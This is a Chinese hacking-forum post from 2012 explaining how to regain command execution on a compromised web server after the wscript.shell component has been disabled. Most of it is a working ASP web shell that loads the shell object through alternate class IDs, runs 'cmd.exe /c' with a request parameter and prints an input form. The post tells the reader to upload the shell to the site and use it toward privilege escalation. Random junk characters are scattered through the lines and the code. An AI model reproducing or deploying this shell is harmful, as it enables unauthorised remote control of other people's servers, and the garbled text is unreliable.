找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2107|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。  R8 m' G$ [7 ], G2 i
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。! V4 ^/ @: l0 A$ B2 y9 }
要想让运行命令可以试试这种方法,成功率为五五之数。
1 g+ x6 [; G0 [* N4 i( f把下面代码复制:
/ c& k  O. Z, ]7 y3 ]<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
; C- T% O) c- A. z1 n% o<%if err then%>
  z: |9 w  w+ n* q  a0 B: m<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
; g* v7 i" ]6 P/ f2 a9 T8 y<%1 F# @' P  c4 r* v
end if+ b) {. E" P( E& ?: N% @
response.write("<textarea readonly cols=80 rows=20>")
$ l' _8 H. d" S9 c* KOn Error Resume Next
: v; S0 z* B! ~( i6 W6 F* dresponse.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall) x. N; R! j: c- v' P1 a
response.write("</textarea>")7 U" F" Y: R3 r  }  v
response.write("<form method='post'>")$ w* v3 E; ], ]  C1 @
response.write("<input type=text name='c' size=60><br>"): W+ ^' D2 |. A" v7 x
response.write("<input type=submit value='执行'></form>")3 a4 F* p9 W; y& ^
%>  J% F. Y2 H1 g1 r  m

6 R0 X! W/ ]# s  ^1 G0 q4 \保存为一个asp文件,然后传到网站目录上去! R( e; n4 t1 N7 D
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
+ I8 d) {! {) w& i. s我用此成功运行过cacls命令。
8 o- h3 i' d: W1 ]# }" u5 U* J# ?7 `/ I# H2 G
第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表